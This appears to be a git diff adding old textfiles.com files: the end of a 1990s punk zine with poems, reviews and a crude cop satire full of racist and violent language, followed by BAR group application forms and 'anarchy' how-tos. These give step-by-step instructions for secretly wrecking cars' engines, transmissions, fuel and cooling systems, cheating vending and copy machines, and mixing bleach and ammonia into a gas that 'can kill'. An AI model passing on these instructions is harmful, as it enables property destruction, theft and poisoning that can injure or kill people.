IN A FREAK HAIR CUTTING + ACCIDENT PERFORMED BY THE TWO GIRLS (WHOSE NAMES I'M SURE YOU + ALREADY KNOW BY NOW.) + + OR + D. TONY JUST DIES. + + TOKEN POETRY CORNER + + "YEP, YEP, YEP, + IT'S A POEM. + YEP, YEP, YEP." + by lord randorf, our featured poet + + "hey dog" + by lord randorf + + hey dog + you look happy + if you run away + i'll slap you in the face + + hey dog + you look tired + you won't be + when the four year old comes + + hey dog + you look scared + you should be, after all, + fat aunt martha is going to sit on you! + BARK! YELP! BARK! + + "flowers" + by lord randorf + + flowers + you give me hay fever + you make me throw up + you are just stinky + + + "a shoe salesman's wet dream" + by mike d. + + you came into my store, + not once, but twice. + the boots that you bought + looked very nice. + with dark hair and captivating eyes, + and a smile that left me + hypnotized + + "mr.happy" + by bitchca + + deep, i'm so very deep + if i were any deeper, + i'd probably drown + in a sea of alienation + depressed, i'm so very depressed + if i were any more depressed, + i'd probably be a gorge, + filled with beer cans and other assorted garbage + down, i'm so very down + if i were any downer + i'd probably be heroin + squirting into the veins of someone + as lost as i am + but instead i'm sitting on a study hall bench + trying to fill up the pages of my journal for english class + + -page five- + + "STREAM" + by SETH S.G. LORD, STONEFISH + + THE SOUND ROLLED DOWN AMONG THE STONES AT NIGHT, MIST RISING, + VOICES CHANTING. THIS DOESN'T SEEM RIGHT, AND YET THE GHASTLY + CHILL IN THE VOICES/AIR/GROUND/SKY... CALLING, CALLING, LIKE THE + MOST NATURAL THING IN THE UNIVERSE. + "GOD HELP ME!" HE SCREAMED, AND FELT THE ANSWER FROM + INSIDE, VIBRATING HIS MARROW: + "HELP YOURSELF" + + RUNNING, RUNNING... A USELESS FLIGHT, HE MOVES NOT: TRAPPED BY + HIS FASCINATION, ENTICED BY BLOOD, BOUND BY MAGIC, HELD BY + GRAVITY (GOTTA OBEY THE LAW, YA KNOW) AND BREATH BY BREATH THE + CHANTING GROWS LOUDER, MIST THICKER, FIRE HIGHER, HIGHER, + HIGHER! + AND THE BELL RINGS AGAIN. + -PAUSE AND ROARING SILENCE- + -THEN AGAIN- +HIS VOICE IS SCREAMING IN WORDS HE DOES NOT KNOW, A VOICE ONLY IN A +SENSE HIS OWN (WHAT PRAY TELL, IS YOUR OWN?) + HUNGER, BRAYING LUST AND HOT PASSION, IGNITED BY BLOOD CEREMONY. + + "THERE IS ONE AMONG US," A CHANTER INTONED. + "ONE, BLOOD AWAKENED," ANOTHER CHIMED. + HIS EYES WIDENED, WORDS CEASED, DEATH ENCROACHED. + (NO, NO, NO... NO!) + PERHAPS? + THE DARK MIST FELL, AND LONE DEATH KNELL (BLINK AGAIN SO YOU + DON'T MISS IT) A FIRM KNOWLEDGE. + VAMPYRE? RIGHT! THE SILVER'S GONE TO THE WOLVES. +***** + +CLIPS WE NEVER GOT TO SEE FROM COPS +"Filmed live, on location. No actors, no scripts" + +6:15 pm Friday evening Stop #1 - Officer Paul McStucky + + "Ho there son, got something to hide?" said the sharp-jawed Magnum P.I. +failure, in his best manly-man tone of voice. + Mick, gently stroked his new cardigan sweater restlessly, trying to +swallow the Certs he took in an attempt to disguise the liquor smell. + "Well m-mister, I just taking me girl here out for a spin in my dad's +new Caddie here, when I saw you pull behind me...I was really nervous +about being pulled over..." he retorted with a squeak in his throat and +a look of trepidation in his eye. + "Hi offfficer, (hick-up) we dinnint do anything wrong... I'm +Fi-Fi...Did I tell you that I love this man.." the drunken +teen-queenie garbled while realizing her nose had hairs in it that she +neglected to pluck out before the date. + "Well, its really nice to meet you two... hey wait a minute, son... +isn't your father Reverend Reltih?" the other white meat asked. + With the few brains cells still in servitude, Mick sensed a chance to +get out of trouble, "Yes, that's my dad.. and I love him so.." + Officer Friendly put away his citation book and flashed a rare smile +and oinked "Tell your pops I loved his speech, and that I hope he can +make it to the next cross-burning!" + +8:44 pm Friday evening Domestic violence call - Officers C.Meat and +A. Lark +The teo examples of America's finest nearly choked on their donuts when +they heard the dispatcher's shriek on the radio. They both looked +shocked that she would even bother them on their 8th break. They +lumbered their quantities of donut matter to the car to respond. The +dispatcher's call seemed to be getting more urgent, which had the effect +of slowing the two officers down. When they finally did reach the squad +they learned that they had ANOTHER domestic disturbance call in the +hood. + "Oh, super, another one!" exclaimed Meat as grape donut filling rolled +down his fat fucking chin. + "It's okay Meat," consoled Lark "And hey, remember last time! We +scored a grand each! People will donate anything to the force if we just +leave them to kill themselves!" + "Oh, alright... let's go" he replied with the dispatch nearly in tears +at this point. + + Arriving on the scene near the remnants of an old gas station, a +seemingly busy liquor store, and a gun shop, the pigs pulled out their +fun clubs and took charge of the scene. Some drunk, fucked up bastard +was beating up on his drunk, fucked up girlfriend. They strolled up to +the door asked some little girl who only spoke Spanish to tell them what +happened. This was great trick that all cops knew, because.. hey ifthey +fucked up and beat down the wrong guy then they could just say they +misinterpreted the fuckin' foreigner. + With Lark's 2nd semester knowledge of the language he was able to +discern that the guy was hiding in an alley behind the house. They both +looked at each other in the special way that only lovers know and +smiled. Alleys were their favorite.. they went to the back alley, took +out their penis-shaped, mini-KC lights and blasted the entire alley with +their light-sabres. They saw the creeping, mass of minority disgrace on +about 50 drugs huddled in the corner. They stepped forward to beat the +law into the guy when he pulled out his AK and wailed "Get da fuck +back!" He then shot the hell out of the officers' corpulent heads. So he +thought...the gun clicked and clicked in an empty and lonely fashion. +The lawmen then ignored the crap in their pants and began to pummel the +screaming Rodney with blows from their virile clubs. Meanwhile, a few +houses away a bunch of punks were videotaping their friends puking off +of the roof. They noticed the confusion and then began to videotape. +When they got a better idea. They dropped the camera, rambled out of the +building, got in the cop car and drove away! + by John + + THE FIRST OFFICIAL RECORD REVIEW + by Bitchca + +GENERALLY, PEOPLE IN BANDS ARE GOOD, BUT EVEN BETTER ARE THOSE WHO ARE +SO GENEROUS AS TO NOT LOWER THEMSELVES BY WORRYING ABOUT MONEY OR +PROFITS AND BRINGING THE JOY OF THEIR MUSIC INTO THE HEART OF A HAPPY +LITTLE ZINE (CO)EDITOR SUCH AS MYSELF. + +CIRCULAR RUBBING MOTION - THIS IS A NEW BAND FROM L.A. ADRENALINE +INSPIRED FAST HARD-CORE WITH A SLIGHTLY DETECTABLE METAL EDGE (DIDN'T +THAT SOUND PROFESSIONAL?) THEIR TAPE INCLUDES SUCH CLASSICS AS "THE +WOUNDED POPE", "BOOF THAT BURGER", AND "FIND THE GOOD AND HACK IT", ETC. +IN ONE OF THEIR SONGS THEY EVEN HAVE A QUOTE FROM SKINNER FROM SUBURBIA. +THIS TAPE IS FUN TO LISTEN TO, BUT HAS SOME PRETTY NAUGHTY MESSAGES, SO +THOSE OF YOU WHO ARE SLIGHTLY UNSTABLE MIGHT HAVE EVEN MORE FUN. + CIRCULAR RUBBING MOTION + 18265 WAKECREST DR. + MALIBU, CA 90265 + +OBLIVION "PRODUCT" - THIS BAND PLAYED AT THE ALUMNI HOUSE ON FEB.5 WITH +NOT REBECCA AND APOLLO CREED. I WOULD CONSIDER THEM MORE OF A "SHOW +BAND" THAN A "LISTEN TO AT HOME" BAND BECAUSE THEIR SONGS CAN SEEM A +LITTLE HEAVY AND LONG AT HOME (BUT THEN, I'M A BIG SKA FAN). THE LYRICS, +HOWEVER, ARE GREAT! I MUST COMMED THE SINGER ON THE SONG "YELLOW #5" +BECAUSE HE CAN MAKE HIS VOICE SOUND LIKE KERMIT THE FROG'S ON SELECTED +WORDS. BASICALLY, THEY ARE A (FOR LACK OF BETTER WORDS) GOOD PUNK BAND +AND YOU SHOULD DEFINETLY SEE THEM NEXT TIME THEY PLAY IN BELOIT. + OBLIVION c/o BRIAN CZARNIK + 442 HYDE PARK AVE. + HILLSIDE, IL 60162 + +THE LOW DOWN GUTTER SNIPES - THIS BAND IS SO AMAZINGLY WONDERFUL THAT IT +ALMOST MAKES ME PROUD TO LIVE IN BELOIT. THEY'RE A GREAT BAND WITH A +LITTLE BIT OF SKA THROWN IN MAKING REALLY FAST, GOOD SONGS. I WOULD NOT +ONLY RECOMMEND OWNING EVERYTHING THEY EVER PRODUCE, BUT YOU REALLY OUGHT +TO GO TO THEIR SHOWS. THEY ALWAYS HAVE THE BEST PITS. THE BEST SONGS ON +THEIR DEMO ARE PROBABLY "NOT ME" AND "JUSTICE", BUT THEY'RE ALL PERFECT! +SEE THEM, OWN THEM, ASPIRE TO BE THEM! + LOW DOWN GUTTER SNIPES + 634 WISCONSIN AVE. + BELOIT, WI 53511-6474 + +BLACKEN SNAPPER - "HOLOCAUST FOR THE HEAVY SEAT & GREATEST HITS" - I +DON'T REALLY KNOW HOW TO DESCRIBE THIS BAND. I SUPPOSE THE CLOSEST +COMPARISON WOULD BE A HARDER VERSION OF THE TALKING HEADS ONLY MORE +BIZARRE. THE MUSIC WAS STRANGE, BUT ONCE YOU GET USED TO IT, IT BECOMES +FUNNY AND PLEASANT. I PERSONALLY WAS DRAWN TO THE SONG "WHAT! THAT PIECE +OF ASS HAS YOU NOT EATING MEAT?" ANYWAY, FOR FANS OF ODD, QUIRKY MUSIC +THIS IS QUITE A FIND. THE TAPE IS ONE DOLLAR, BUT THEY WOULD PREFER SOME +SORT OF TRADE. + BLACKEN SNAPPER + 2830 WEST LIBERTY #4 + PITTSBURGH, PA 15216 + +WEAKER YOUTH ENSEMBLE "NOT AFRAID TO FLOSS" SINGLE - +THIS WAS A NICE HAPPY SKA BAND FROM MADISON (THEY'RE PLAYING IN SKA-FEST +IN MADISON AT THE BARRYMORE ON APRIL 10TH) I FELL IN LOVE WITH THE +SINGER'S VOICE AND HAVE ALREADY PURCHASED MORE OF THEIR MUSIC. THEY'RE A +FUN BAND AND I WOULD RECOMMEND THEM. + WEAKER YOUTH ENSEMBLE + 21 N.INGERSOLL + MADISON, WI 53703 + + TxRx + (TOY REVIEW) + by SPAM + +SKELETOR STAFF-THIS DISRUPTIVE CLASSIC HAS A HISTORY OF PROVOKING +VIOLENCE ON STATE STREET (IN MADISON) LATE AT NIGHT BETWEEN NEW SKOOLS +AND LITTLE PUNK CHIX. IT PORTRAYS THE HEAD OF SKELETOR FROM "HE-MAN" +MOUNTED ON A CONE-LIKE STAFF WITH AN ARROW-HEAD LIKE THING AT THE BOTTOM +WITH RED HORNS PROTRUDING FROM THE AFOREMENTIONED HEAD. PLUS THE TWO +BUTTONS ON THE BACK MAKE LAUGHING AND SHOOTING NOISES WHICH CAN RAP IF +YOU PRESS THEM IN JUST THE RIGHT PATTERN. BESIDES ALL OF THIS COOL STUFF +MENTIONED ABOVE, THE MAIN REASON THAT YOU SHOULD BUY THIS IS THAT IT'S +INCREDIBLY OFFENSIVE TO PRETTY-BOY JOX. + +LIQUID METAL - THIS WATERED DOWN, SPARKLY VERSION OF GAK WILL ENTERTAIN +YOU. BUT NOT FOR LONG, AND ONLY IF YOU'RE REALLY BORED. I WOULD NOT +RECOMMEND THIS TO ANYONE WITH AN I.Q. + +TWIGGY, THE BOARD GAME- THIS BLAST FROM THE PAST COMBINES THE ANOREXIC +MODEL FROM THE 60'S WITH GOOD, CLEAN FAMILY FUN. PLUS, YOU GET A +CLOSE-UP PICTURE OF TWIGGY'S EYELASHES! IT WILL BE VERY HARD TO COME +ACROSS IN MOST STORES, IF YOU SHOULD HAPPEN TO FIND IT, BUY IT! +PEZ DISPENSERS- SIGH! PEZ, THE KING OF TOYS! WHAT OTHER SMALL PLASTIC +FIGURINE CAN YOU FIND THAT PUKES BRICKS OF SUGAR AT YOU? BUY THEM? HELL, +START UP A COLLECTION! + +BUBBLE BEEP- ALTHOUGH THIS ISN'T REALLY A TOY IT WILL NEVER CEASE TO +AMUSE YOU. THIS SMALL PLASTIC BOX RESEMBLES A BEEPER, AND COMES +PREASSEMBLED WITH A CLIP TYPE THING SO THAT YOU CAN CLIP IT TO YOUR +PANTS AND FORGET ABOUT IT UNTIL YOU'RE NEEDED. IT IS TO DRUG LORDS IN +THE MAKING AS THE MAGIC FAX MACHINE IS TO YUPPIES IN THE MAKING. +THIS GUM, WHICH COMES INSIDE THE BEEPER, HAS LITTLE MESSAGES PRINTED ON +THE WRAPPER AND SURE DOES TASTE YUMMY! A GREAT PARTY GAG, THIS CAN BE +OBTAINED AT YOUR LOCAL Kmart FOR A MERE 99 CENTS SO GO OUT AND BUY +ONE... TODAY! + +COLORING BOOKS- GREAT FOR KIDS OF ALL AGES, THESE CLEARLY "BLACK AND +WHITE" PAGES CAN BE MADE RACIALLY HARMONIOUS WITH ONLY A FEW CRAYONS, +AND YOU! YES, SOLVE THE WORLD'S PROBLEMS AND VENT YOUR CREATIVE ENERGY +AT THE SAME TIME! + WELL KIDDIES, MY TOY CHEST IS NOW BONE DRY, BUT IF YOU HAVE +THAT YOU'D LIKE ME TO REVIEW OR YOU JUST WANT TO SEND ME CASH OR JUST +SAY HELLO! THEN WRITE TO: bloated barbies c/o spam + +GOD SAVE THE ZINES +by bitchca + +PESSIMISER #3 "branch-davidian hate rag"- I WASN'T TOO BIG ON THIS ZINE. +IT WAS PRIMARILY DEVOTED TO MAKING FUN OF GUYS WHO HAVE LONG HAIR, WEAR +"BAD BOY CLUB" T-SHIRTS WITH ZEBRA STRIPED KNIT PANTS, ROLLER BLADE, AND +LISTEN TO HELMET. NOW, I DON'T WANT TO THINK ABOUT THOSE PEOPLE, MUCH +LESS READ ABOUT THEM! OTHER THAN THAT, THEY HAD A FEW GOOD INTERVIEWS +AND A SWEET LITTLE STORY ABOUT WATCHING SOME BIG SKATING HERO IN 82. IT +STRUCK ME AS JUST AN EXCUSE TO SWEAR AND BE STUPID (WHICH I SUPPOSE IS +THEIR RIGHT, BUT STILL, A WASTE OF PAPER AND MY TIME), BUT IT WAS FREE. + PESSIMISER + P.O.BOX 4452 + INGLEWOOD, CA 90309 + +A STUDENT'S GUIDE TO PROTESTING- THIS IS A HELPFUL GUIDE BY THE AUTHOR +OF "ROOM 112." IT DOESN'T REALLY PROMOTE PROTEST, BUT LISTS YOUR BASIC +RIGHTS, WHAT YOU CAN GET AWAY WITH WITHOUT HAVING TO WORRY ABOUT ARREST, +CONVENTIONAL AND UNCONVENTIONAL TACTICS, ORGANIZATION, AND THE TOOLS YOU +WILL NEED. EVEN IF YOU'RE NOT PLANNING ANYTHING IN THE NEAR FUTURE, I +WOULD RECOMMEND HAVING THIS SIMPLY BECAUSE IT'S VERY INFORMATIVE. JUST +SEND A FEW STAMPS TO: + JUSTIN GORMAN + P.O.BOX 410441 + SAN FRANCISCO, CA 94141-0441 + +CHAOS #9 - THIS ZINE REALLY SURPRISED ME. I WAS EXPECTING THE TYPICAL +ANARCHIST "DESTROY SOCIETY AND KILL YOUR MOTHER" TYPE OF ZINE, BUT +INSTEAD THIS WAS VERY DEEP AND PHILOSOPHICAL. IT WAS SORT OF A DIARY OF +A MONK TALKING ABOUT VOWS OF SILENCE AND RELIGIOUS STUFF WHILE AT THE +SAME TIME HOW HARD IT IS TO GET A JOB AND OTHER EVERYDAY STUFF. THIS +ZINE IS PRETTY HEAVY AND I WOULDN'T RECOMMEND IT TO EVERYONE, BUT IF +YOU'RE IN A MELANCHOLY MOOD IT'S GOOD READING. + CHAOS c/o JOEL EPANOURI + 812 7TH STREET S.E. #9 + MPLS,MN 55414 + +PUBLIK ENEMA #6 - THIS ZINE WAS JUST DARN FUN. ITS MAIN FOCUS WAS THE +AUTHOR'S SIX MONTH BICYCLE ROAD TRIP. THERE WERE LOTS OF LETTERS AND +ARTICLES OF PROTESTS THAT HE WAS A PART OF. HE DESCRIBES DIFFERENT +PEOPLE AND THE CONDITIONS THAT HE LIVED UNDER, THERE ARE LOTS OF +CARTOONS AND FUN STUFF, BUT IT NEVER GETS CHEEZY. THIS WAS A VERY GOOD +ZINE WITH A LOT OF SUBSTANCE WITHOUT GETTING BORING. IT WAS PROBABLY THE +MOST FUN ZINE I'VE READ ALL YEAR. $1 + PUBLIK ENEMA #6 + 25686 NUGGET + EL TORO, CA 92630 + +BITCHCA REVIEWS ALMOST EVERY MOVIE IN THE WORLD + +FOR ANYONE THAT FINDS IT AMAZING THAT I WOULD WASTE MY TIME WATCHING SO +MANY DAMN MOVIES MUST UNDERSTAND THAT WHILE ALL OF YOU SPENT YOUR X-MAS +VACATION HANGING OUT WITH YOUR FRIENDS AND GOING TO SHOWS I WAS ROASTING +IN THE FIERY PITS OF HELL..FLORIDA, DURING MY ANNUAL TRIP TO VISIT MY +GRANDPARENTS. SO ACTUALLY MY EXTREME AMOUNT OF TIME SPENT IN FRONT OF +THE T.V. WAS THE ONLY THING I COULD DO TO SAVE MYSELF. + +THE PELICAN BRIEF-THIS WOULD HAVE BEEN A GOOD MOVIE IF YOU OMITTED THE +ACTORS. I'D LIKE TO KNOW WHAT FUKHEAD CAST JULIA ROBERTS IN THE ROLE OF +A STRONG WOMAN. NO MATTER HOW HARD SHE TRIES SHE JUST COMES OFF AS WEAK +AND HELPLESS. IT COULD HAVE BEEN MUCH BETTER. AND AS FOR DENZEL +WASHINGTON, I CAN'T REALLY INSULT THE DIRECTORS FOR THAT CHOICE BECAUSE +I UNDERSTAND THAT IT'S AGAINST THE LAW TO CAST ANYONE BUT HIM IN THE +TOKEN BLACK ROLE. ASIDE FROM THAT IT WAS PROBABLY ONE OF THE BETTER +MOVIES I SAW DURING MY VACATION. IT'S ABOUT A LAW STUDENT WHO WRITES A +PAPER ON WHO SHE THINKS KILLED SOME SUPREME COURT GUY AND EVERYONE TRIES +TO KILL HER. THAT'S PRETTY MUCH THE PLOT. + +THE NIGHTMARE BEFORE CHRISTMAS- THIS MOVIE WAS TRULY BEAUTIFUL. IT'S +AWESOMENESS CANNOT BE DESCRIBED BY WORDS. THIS IS A CULT CLASSIC IN THE +MAKING. + +WHO'S DA MAN - THIS PIECE OF ART WAS MY BROTHER'S MISTAKE. IT'S A COPS +AND ITALIAN CONSTRUCTION COMPANY OWNER MOVIE STARRING ED LOVER AND DR. +DRE (THE YO MTV RAPS HOST NOT THE GANGSTA.) THIS MOVIE BRINGS TO MIND +THE QUESTION "WHAT EXACTLY DRE A DOCTOR OF?" THE FUNKY VIBE, OF COURSE. + +THE ROAD WARRIOR- I LOVED THIS MOVIE. I THOUGHT IT WAS EXTREMELY WELL +ACTED EVEN THOUGH MY BROTHER INSISTED THAT THE FERAL KID WAS RETARDED. +AND YES DOUG, MY ONLY COMPLAINT WAS THAT THE ONLY GODDAMN FEMALE WARRIOR +GOT KILLED. I HOPE YOU'RE HAPPY. + +RUMBLE FISH- THIS MOVIE WAS VERY ARTSY AND WELL DIRECTED. IT'S ABOUT AN +AVERAGE FUCT UP KID TRYING TO LIVE UP TO HIS RESPECTED, SOMEWHAT CRAZY, +OLDER BROTHER. BEST QUOTE OF THE MOVIE- "CALIFORNIA IS LIKE A WILD, +BEAUTIFUL GIRL ON HEROIN. HIGH AS A KITE, THINKING SHE'S ON TOP OF THE +WORLD, AND SHE WON'T BELIEVE SHE'S DYING EVEN IF YOU SHOW HER THE +MARKS." + +COOL AS ICE- THIS PATHETIC ATTEMPT AT A CHEEZY FORMULA MOVIE STARS +VANILLA ICE AS A RAPPING BIKER WHO FALLS IN LOVE WITH A PREPPY BITCHY +GIRL, BUT MANAGES TO MELT HER ICY EXTERIOR (AN ODD TWIST ON THE TAMING +OF THE SHEW). I DON'T KNOW IF IT WAS DA MOVES, DA THREADS, OR DA LINGO, +BUT I JUST FELL IN LOVE WITH VANILLA ICE. OF COURSE, A COOL GUY LIKE +THAT WOULDN'T GO FOR ME. DAMN, DISSED AGAIN! + +TOP 5 VEHICLES IT WOULD REALLY SUCK TO BE HIT AND KILLED BY: +5. a garbage truck +4. a mail truck +3. a police car +2. a jeep full-o-jox +and #1 +IT WOULD REALLY SUCK TO BE HIT AND KILLED BY A GUY ON A BIKE WITH +BIRKENSTOCKS! + +Please call Bitchca at (608)364-4191 if interested in starting a +hardcore/ska band. Please if you play and instrument and wouldn't mind +playing shows, call her! + +-End- + + \ No newline at end of file diff --git a/textfiles.com/groups/BAR/barmem.app b/textfiles.com/groups/BAR/barmem.app new file mode 100644 index 00000000..159ad0d1 --- /dev/null +++ b/textfiles.com/groups/BAR/barmem.app @@ -0,0 +1,38 @@ + BAR Writer Application + + BAR is a new group that is now just coming out. We need to get +some writers though. We want people who can write good h/p/a files. +To become a member just fill out this form and give it to one of the boards +that our members are on in a zipfile with your handle as the filename. Also, +include a text that you have written recently and haven't uploaded to other +boards yet. + +1. Handle: (_________________________________) + +2. Phone #: ( )- - + +3. Name 3 boards you are a member on. Include the name, #, and sysop: + a)___________________________________________________________ + b)___________________________________________________________ + c)___________________________________________________________ + +4. If you are a sysop please use whatever space you feel is necesary to + give your BBS name and # as well as a description of the BBS: + + + + + + + Thank you for taking the time to fill this out. Now you can reach + us at the following boards: T.E.K.A.T (908)813-2738 WHQ + The New World Order (908)782-9508 + Void Ware Prohibited (201)952-0062 Site + The Black Plague (201)701-0647 + + Look For these BAR members + Snake + jUNGLE jIMMY + Irie Man + Trillion + Infrared diff --git a/textfiles.com/groups/BAR/barsite.app b/textfiles.com/groups/BAR/barsite.app new file mode 100644 index 00000000..cd1f0fa3 --- /dev/null +++ b/textfiles.com/groups/BAR/barsite.app @@ -0,0 +1,33 @@ + BAR Dist Site Application + + BAR is a new group that is now just coming out. We need to get +some Dist sites though. We need one in all other Area Codes besides 908. +To become a site just fill out this form and give it to one of the boards +that our members are on. + +1. Name of your BBS?---------------------------------------------------- + +2. Number of your BBS?-------------------------------------------------- + +3. What kind of software?----------------------------------------------- + +4. What is your Handle?------------------------------------------------- + +5. What speed modem?---------------------------------------------------- + +6. What is your BBS mainly into?---------------------------------------- + +7. What is your NUP?---------------------------------------------------- + + + Thank you for taking the time to fill this out. Now you can reach +any of us on these boards: High Voltage (908)231-0252 + The Hack Shop (908)813-3476 NUP=Firestalker + THN (201)347-6969 NUP=Login + T.E.K.A.T (908)813-2738 + Look For these BAR members + Snake + jUNGLE jIMMY + Irie Man + Trillion + Infrared diff --git a/textfiles.com/groups/BAR/carkil1.bar b/textfiles.com/groups/BAR/carkil1.bar new file mode 100644 index 00000000..cb2fb8e6 --- /dev/null +++ b/textfiles.com/groups/BAR/carkil1.bar @@ -0,0 +1,48 @@ + ***Another way to Kill a Car!!*** + + + --==Disclaimer==-- + The author of this text or the group is in no way responsible +for personal injury, property damage, death, dismemberment, or any other +harm caused by any idea's contained in this text.. These idea's are in +no way meant to be tried and are made solely for an educational purpose... + + + ****The Car Killer (for lack of a better title)**** + + + Ok, as we all know there's alot of ways to destroy a car.. But +here's a couple of nice one's that I've thought of and heard about over +the years.. Some of these can cause more damage than others so be careful +and think how much damage you want to cause... + + Ok, here's the first one. As everyone knows a car need lubrication +(oil) for the engine to keep from seizing up, so here's a way to seize +a cars engine without them knowing what happend. Saying that you can get +under the hood which isn't all that hard, i'm sure you could find another +text or figure it out yourself. Anyway, mix together some grease cutting +soap (dish soap) and some water, about a quart of the mixture should do, +make sure there's alot of soap, being as there is alot of oil, take this +mixture after opening the hood and pour it into the oil fill which should +be clearly marked.. This will disperse the oil and keep it from lubricating +the engine and after a little while it will seize up.. If you want to have +little extra fun you can add some fine sand or dirt which will also +really screw things up.. +BTW: this will also work to kill an automatic transmission, just get a small +funnel and pour some of the mixture into the transmission dip stick thing, +which leads right to the transmission... + + Here's another idea: all you need is a water/dirt/sandy mixture, the +muddier the better, pour about a quart or so of it in the gas tank and after +a few hours of driving it will clog the fuel filter... Now, I know what +your asking how do I get into a locked fuel cap, just bring a small knife +or screwdriver, which you stick in the key hole and twist, it works everytime +for me, so it should work for you.. + + Thats it for this text I'll be + out with some more ideas for + you in a few weeks!! + +Author:Snake +Group:BAR + diff --git a/textfiles.com/groups/BAR/carkill2.bar b/textfiles.com/groups/BAR/carkill2.bar new file mode 100644 index 00000000..54e25942 --- /dev/null +++ b/textfiles.com/groups/BAR/carkill2.bar @@ -0,0 +1,51 @@ + *** Yet Another Way to Kill a Car!*** + + + --==Disclaimer==-- + The author of this text or the group is in no way responsible +for personal injury, property damage, death, dismemberment, or any other +harm caused by any idea's contained in this text.. These idea's are in +no way meant to be tried and are made solely for an educational purpose... + + + ******The Procedure****** + + Ok, this is really simple, and the person will never notice +until there car overheats.. And by then you'll be long gone and they +have no way to trace it back to you.. + + Ok, here's all you have to do.. As we all know, every car has a +radiator to cool the engine, and the radiator is made of this tubes and +little copper or aluminum fins that direct the air blowing in the grill +over the tubes that cool the water for there car.. So, anyway, these little +fins are really easy to bend because there made of thin copper or aluminum +metal.. So all you have to do is kneel down under the car in front by +the grill and look up, there's the radiator, on the side facing the grill +in the front of the car run your finger nail over the fins and tada, there +bent over and no air can pass through.. Now do this to as many rows as +possible, ten should do to make the car overheat, but if you do more +it will work faster and probably do more damage.. If the fins are made +of aluminum or you can't get them to bend with you hand just take a small +wire brush run that over them in the same fashion, remember to only bend +once and in one direction otherwise they could break off or partially +re-open.. Good luck.. Happy Mischieve and don't get caught.!! + + Ok, here's another way to screw up a persons cooling system.. +While bent over under the car, you could take a screwdriver and losen up +the bottom radiator hose.. This hose is on the passenger side (usually), +and takes the pressurized water coming back from the engine into the +radiator.. All you need is usally a flat head screwdriver, just losen up +the little round clamp holding the hose to the radiator, then slightly tug +on the hose to get it unstuck from the metal.. Thats it.. Then when the +persons driving and the car starts to warm up the pressure will build up +in the system and blow the hose off, then the fluid will leak out of the +system and the car will overheat... + + That's all the fun for now, but I'll + be back with more!! + + +Author: Snake (Story 1 & 2) +Orig, Idea: N/A (1), Snake (2) +Helpers: Menace +Date: 5/26/93 diff --git a/textfiles.com/groups/BAR/cointrik.bar b/textfiles.com/groups/BAR/cointrik.bar new file mode 100644 index 00000000..cbed71a4 --- /dev/null +++ b/textfiles.com/groups/BAR/cointrik.bar @@ -0,0 +1,33 @@ + FREE SODA WITH TRICK COINS + + Everyone has always tried to get free soda by tying a string +to a coin. But it probably hasn't worked. Here is the best way to +try to do it. Instead of tying the string to the quarter, drill a +hole in a big quarter. By big I mean the fattest, newest quarter +that you can find. Not an old worn away one. This way the whole +won't make much of a weight difference. Drill the smallest, +tiniest hole you possible can on the edge of a quarter, then loop +fishing string or dental floss to it. Fishing string is better, it +is stronger. However, here comes the trick. Put TWO (2) quarters +on one string. The reason the single quarter never works is +because when you slip it in, you pull it back out. The machine +notices this and takes away the credit. Two quarters on the same +string solves this. Make them about 1 or 2 inches apart. Drop +them both in, get your soda, then pull them out simple. + + \ + \ ---string + \ + /----\ + | | Quarter + \----/\ + \ String continues. + \ + /----\ + | | + \----/ Another quarter. + +Make it look like this! + +A BAR. release + Courtesy of IRIE MAN \ No newline at end of file diff --git a/textfiles.com/groups/BAR/copy4fre.bar b/textfiles.com/groups/BAR/copy4fre.bar new file mode 100644 index 00000000..789a75a2 --- /dev/null +++ b/textfiles.com/groups/BAR/copy4fre.bar @@ -0,0 +1,31 @@ + BAR + Bad Ass Retards + presents + "HOW 2 MAKE FREE COPIES" + (on a copying machine) + + Most of us have seen the overpriced copying machines in the +school library or local library. Well here is a new way to get +more for your money. Most of the pay copying machines have the +change bin on the side of the machine, you put your 15 cents in, +push the print button and get your single piece of copied paper. +15 cents may not sound like much, but when you have a big report to +do, you need a lot of stuff to plagiarize! It adds up, a couple of +bucks worth. + Well, now get more for your money. Heres how: + +When you put your money in, and then press the print button, do it +this way. Push the print button, and then instantly push the "coin +eject" button. If all goes well, you should get you change back, +and a copy. Sometimes you might screw up, but hey at least you got +your couple of free copies. Such a great idea. Give it a try. + +Remember, print button and then right away before the machine knows +what you did, coin eject. Just make sure nobody's looking and +don't pass the idea around. Because then the whole freaking school +will be doing it and the librarians will get suspicious when there +is a package of paper missing and only 30 cents in the machine. + +A BAR. release. + Courtesy IRIE MAN +concept by Snake diff --git a/textfiles.com/groups/BAR/deathgas.bar b/textfiles.com/groups/BAR/deathgas.bar new file mode 100644 index 00000000..5f796d4b --- /dev/null +++ b/textfiles.com/groups/BAR/deathgas.bar @@ -0,0 +1,17 @@ + HOW 2 MAKE POISONOUS GAS + (with household materials) + + It is simple enough. This is an easy way to make a poisonous +gas that can kill, or at least severely injure when made. Here is +what you do. Take some bleach & ammonia, and mix them together in +a bottle. Shake it up a bit. DON'T BREATH IT IN. It will get +warm, maybe even hot. That liquid emits a poisonous gas. Wee! Be +careful with this stuff. And don't breathe it in. Thus is very +harmful, you can waft a small whiff of it, but don't snort and +inhale over it. It destroys your lungs. Don't know exactly how it +kills but it will do the job. Although it is HIGHLY recommended +that you don't kill anyone with it. You can also throw some +flammable toilet bowl cleaners in it for an added effect. + +A BAR. release + Courtesy of Irie Man \ No newline at end of file diff --git a/textfiles.com/groups/BAR/doorknok.bar b/textfiles.com/groups/BAR/doorknok.bar new file mode 100644 index 00000000..e0783c15 --- /dev/null +++ b/textfiles.com/groups/BAR/doorknok.bar @@ -0,0 +1,19 @@ + ANNOYING DOOR KNOCKER + (perfect for those boring nights) + + Here is some cool stuff to do to someone's house for annoyance +and fun! + + Door knocker. You can either tie a long strand of thin +fishing line (can't see it easily) to the door knocker itself (if +there is one) and pull and pull. The people think someone is +knocking, open the door to see who it is, and no one is there. Fun +to do over and over. Or you can tie a big fishing weight to the +end, tape the string just above the weight to the door and pull and +pull. Has the same affect. Totally fun and totally harmless. +Really funny to see people trying to catch kids who are knocking on +their door when you are really 100 yards away pulling on a string. +Give it a try! + +A á’â. release + Courtesy of Irie Man \ No newline at end of file diff --git a/textfiles.com/groups/BAR/drink&go.bar b/textfiles.com/groups/BAR/drink&go.bar new file mode 100644 index 00000000..dd52fbe2 --- /dev/null +++ b/textfiles.com/groups/BAR/drink&go.bar @@ -0,0 +1,30 @@ + CAR BEVERAGE TRICK + (Hard to detect by cops) + "áad ’ss âetards" + Irie Man + + This is a cool and ingenious way to get beverages (mainly +beer) to the passengers of a car without being conspicuous. The +car 